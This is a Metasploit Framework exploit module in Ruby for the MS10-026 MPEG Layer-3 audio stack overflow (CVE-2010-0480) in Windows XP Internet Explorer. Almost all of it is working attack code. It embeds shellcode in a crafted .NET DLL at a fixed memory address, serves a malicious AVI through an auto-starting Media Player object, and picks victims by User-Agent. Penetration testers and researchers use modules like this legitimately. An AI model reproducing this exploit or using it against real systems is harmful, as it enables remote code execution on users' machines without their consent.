##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow',
			'Description'    => %q{
					This module exploits a buffer overlow in l3codecx.ax while processing a
				AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite
				with 0's so the three least significant bytes of EIP saved on stack are
				overwritten and shellcode is mapped using the .NET DLL memory technique pioneered
				by Alexander Sotirov and Mark Dowd.

				Please note on IE 8 targets, your malicious URL must be a trusted site in order
				to load the .Net control.
			},
			'Author'         =>
				[
					'Yamata Li', # Vulnerability Discovery
					'Shahin Ramezany <shahin[at]abysssec.com>', # Vulnerability Analysis and Exploit
					'juan vazquez', # Metasploit module
					'Jordi Sanchez <jsanchez[at]0x01000000.org>', # Metasploit module - Help
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2010-0480'],
					['OSVDB', '63749'],
					['BID', '39303'],
					['MSB', 'MS10-026'],
					['URL', 'http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'],
					['URL', 'http://www.phreedom.org/research/bypassing-browser-memory-protections/']
				],
			'Payload'        =>
				{
					'Space'    => 4000
				},
			'DefaultOptions' =>
				{
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Targets'        =>
				[
					# Target 0: Automatic
					# Tested with:
					# Windows XP SP3 English IE 6
					# Windows XP SP3 English IE 7
					# Windows XP SP3 English IE 8: The exploiting site must be a trusted
					# site to load the .NET control
					# .NET CLR required
					[
						'Windows XP SP3 Automatic',
						{
							'Platform' => 'win',
							'Ret' => 0x72000000
						},
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 13 2010'))
	end

	def exploit
		# Embed our payload in a .Net binary
		ibase = target.ret - 0x10000
		shellcode = rand_text_alpha(target.ret - ibase - 0x2285)
		shellcode << payload.encoded

		#Use our own custom .Net binary, because we require a much bigger file
		#to land our payload at the right place
		opts = {
			:template    => 'template_dotnetmem.dll',
			:text_offset => 0x1285,
			:text_max    => 0x20000,
			:pack        => 'a131072',
			:uuid_offset => 135816
		}

		@dotnet_payload = Msf::Util::EXE.to_dotnetmem(ibase, shellcode, opts)

		# Load our AVI file
		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0480.avi")
		f = File.open(path, "rb")
		@trigger = f.read(f.stat.size)
		f.close

		super
	end

	def on_request_uri(cli, request)

		agent = request['User-Agent']
		case request['User-Agent']
			when /MSIE.*Windows NT 5\.1.*\.NET CLR .*/
			when /Windows-Media-Player/
				# AVI is requested by WMP
			else
				send_not_found(cli)
				print_error("target not supported: #{agent}")
				return
		end

		if (request.uri =~ /\.html/i)
			avi_name = rand_text_alpha(4)
			avi_trigger = ""

			if ("/" == get_resource[-1,1])
				avi_trigger = get_resource[0, get_resource.length - 1]
			else
				avi_trigger = get_resource
			end

			avi_trigger << "/#{avi_name}.avi"

			html = %Q|<html>
			<body>
			<OBJECT ID="MediaPlayer"
			CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95"
			CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#
			Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..."
			TYPE="application/x-oleobject" width="280" height="46">
				<param name="fileName" value="#{avi_trigger}">
				<param name="animationatStart" value="true">
				<param name="transparentatStart" value="true">
				<param name="autoStart" value="true">
				<param name="showControls" value="true">
				<param name="Volume" value="-300">
			<embed type="application/x-mplayer2"
				pluginspage="http://www.microsoft.com/Windows/MediaPlayer/"
				src="#{avi_trigger}"
				name="MediaPlayer"
				width=280
				height=46
				autostart=1
				showcontrols=1
				volume=-300>
			</embed>
			</OBJECT>
			</body>
			</html>
			|

			html = html.gsub(/^\t\t\t/, '')

			print_status("Sending trigger loader")
			send_response_html(cli, html)

		elsif (request.uri =~ /\.avi$/i)

			print_status "Sending AVI trigger"
			send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
			return

		elsif (request.uri =~ /\.dll$/i)

			print_status "Sending DLL file"
			send_response(
				cli,
				@dotnet_payload,
				{
					'Content-Type' => 'application/x-msdownload',
					'Connection'   => 'close',
					'Pragma'       => 'no-cache'
				}
			)
			return

		end

		html_name = rand_text_alpha(4)
		dll_uri = ""
		html_trigger = ""

		if ("/" == get_resource[-1,1])
			dll_uri = get_resource[0, get_resource.length - 1]
			html_trigger = get_resource[0, get_resource.length - 1]
		else
			dll_uri = get_resource
			html_trigger = get_resource
		end

		dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
		js_net_dll = "<object classid=\"#{dll_uri}\"#GenericControl\"><object>"
		html_trigger << "/#{html_name}.html"

		html  = %Q|<html>
		<head>
		<script language="javascript">
			function forward() {
				window.location = window.location + '#{html_trigger}';
			}

			function start() {
				setTimeout("forward()", 2000);
			}
		</script>
		</head>
		<body onload="start()">
		<object classid="#{dll_uri}#GenericControl">
		<object>
		</body>
		</html>
		|

		html = html.gsub(/^\t\t/, '')

		print_status("Sending #{self.name}")
		send_response_html(cli, html)
	end

end
